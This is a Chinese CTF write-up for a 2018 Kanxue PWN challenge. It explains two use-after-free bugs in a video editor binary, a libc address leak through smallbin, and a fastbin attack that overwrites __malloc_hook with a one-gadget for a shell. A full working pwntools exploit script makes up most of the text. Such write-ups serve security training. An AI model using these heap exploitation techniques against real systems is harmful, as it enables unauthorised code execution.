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[原创]看雪CTF2018 第九题 PWN-羞耻player WriteUp
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2018-7-5 00:14
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看完各位大神的解题思路后，发现本题居然有多种奇妙解法，我也将自己的解题方法总结一下。本题两次用到了UAF，基本思路，先分配一块0x400的堆块，使得初始化时随机生成的堆块都被加入进smallbin里边，然后利用smallbin结合UAF进行libc地址泄漏，同样利用edit_videoclip函数中UAF漏洞，进行fastbin attack，将__malloc_hook改写为one gadagt，最后实现控制流劫持获得shell。详细分析如下：
1. 逆向分析
本题通过逆向，会发现主要有四个C++类构成，分别是AudioClip，VedioClip， SubClip， Metadata，如图1所示。
图 1
程序刚开始运行时，在输出banner之前，随机分配了256个堆块，如图2所示，并随机释放了一部分，此时的main_arena的fastbin和unsorted bin的状态如图3所示。
图 2
图 3
2. libc 地址泄漏
分析add_videoclip函数，如图所示4，最大的frame_num不能超过0x400，输入frame_nums为0x500，实际只分配了0x400内存，可以将初始化时随机分配的堆块加入到smallbin中。所以，在利用代码中，我们首先 add_video(1, p32(0x500), "\x00"*0x400)；
图 4
再看edit_videoclip函数，这里有一个非常明显的UAF，如图5所示，我们首先将刚才分配的0x400堆块，改为一个fastbin块，比如0x50大小的堆块，edit(0, p32(0x40), "\x00"*0x40)，在进行edit时，该0x50堆块其实已经被释放，加入了fastbin，为后续地址泄漏使用使用。
图 5
来看add_subtitle，如图6，如果data字段为NULL的话，初始化分配一个段内存；如果不为空，将会先释放先前的内存，再分配一段两次长度之和的内存块，并将原来的内存copy到当前内存，此处可以用来内存泄漏。我们先分配一块0x20大小块，即add_subtitle1(p32(0x10))，将smallbin[0]第一块分配出来，其fd指向smallbin；再追加长度0x30，即add_subtitle2(p32(0x30))，此时会将之前0x50的fastbin块再次分配回来，并将数据copy进去，利用UAF，play(0)，打印第一个VedioClip即可泄漏smallbin[0]地址，随即可得到main_arean、libc的地址。
图 6
3. 劫持__malloc_hook
接下来相对比较直接，新分配一个堆块，add_video(1, p32(0x500), "\x00"*0x400)；再次利用edit_vedioclip的UAF，edit(2, p32(0x60), p64(fake_chunk_addr))，劫持__malloc_hook，将该伪造堆块改为one gadget即可获得shell。详细exp如下：
#! /usr/bin/env python
#-*- encoding:utf-8 -*-
from pwn import *
context.update(terminal = ["tmux", "splitw", "-h"],
# log_level = "debug",
os = "linux",
arch = "amd64",
endian = "little")
p = process("./video_Editor")
# p = remote("139.199.99.130", 8989)
e = ELF("./video_Editor")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def info(s, addr):
log.info("%s: 0x%X" %(s, addr))
def add_video(i, num, data):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", str(i))
p.sendlineafter("Video Resolution : ", "")
p.sendlineafter("FPS : ", "")
p.sendafter("Number of Frames : ", num)
p.sendafter("Video Data : ", data)
p.sendlineafter("Add description : ", "")
def delete_vedio(i):
p.sendlineafter(">>> ", "4")
p.sendlineafter("Enter index : ", str(i))
def add_subtitle1(len):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "3")
p.sendlineafter("Subtitle Language : ", "")
p.sendafter("Subtitle Length : ", len)
p.sendlineafter("Add Subtitle : ", "")
def add_subtitle2(len):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "3")
p.sendafter("Subtitle Length : ", len)
p.sendlineafter("Add Subtitle : ", "")
def delete_subtitle(i):
p.sendlineafter(">>> ", "4")
p.sendlineafter("Enter index : ", str(i))
def edit(i, num, data):
p.sendlineafter(">>> ", "2")
p.sendlineafter("Enter index : ", str(i))
p.sendlineafter("Video Resolution : ", "")
p.sendlineafter("FPS : ", "")
p.sendafter("Number of Frames : ", num)
p.sendafter("Video Data : ", data)
p.sendlineafter("Edit description : ", "")
def play(i):
p.sendlineafter(">>> ", "3")
p.sendlineafter("Enter index : ", str(i))
def main():
main_arena_offset = 0x3c4b20
one_gadget_offset = 0x4526a
info("offset main_arena", main_arena_offset)
info("offset atoi", one_gadget_offset)
p.sendlineafter("Please enter your Recording Name?\n", "Hero")
add_video(1, p32(0x500), "\x00"*0x400)
edit(0, p32(0x40), "\x00"*0x40)
play(0)
add_subtitle1(p32(0x10))
add_subtitle2(p32(0x30))
play(0)
p.recvuntil("Playing video...\n")
leak_addr = u64(p.recv(8)) ^ 0xcccccccccccccccc
info("leak_addr", leak_addr)
main_arena = leak_addr - 0xa + 0x88 - 104
info("main_arena", main_arena)
libc_base = main_arena - main_arena_offset
info("libc_base", libc_base)
one_gadget_addr = libc_base + one_gadget_offset
info("one_gadget_addr", one_gadget_addr)
fake_chunk_addr = main_arena - 0x33
payload = 'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, '\x00')
add_video(1, p32(0x500), "\x00"*0x400)
edit(2, p32(0x60), p64(fake_chunk_addr))
add_video(1, p32(0x60), "\x00"*0x60)
add_video(1, p32(0x60), payload)
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "1")
p.interactive()
main()
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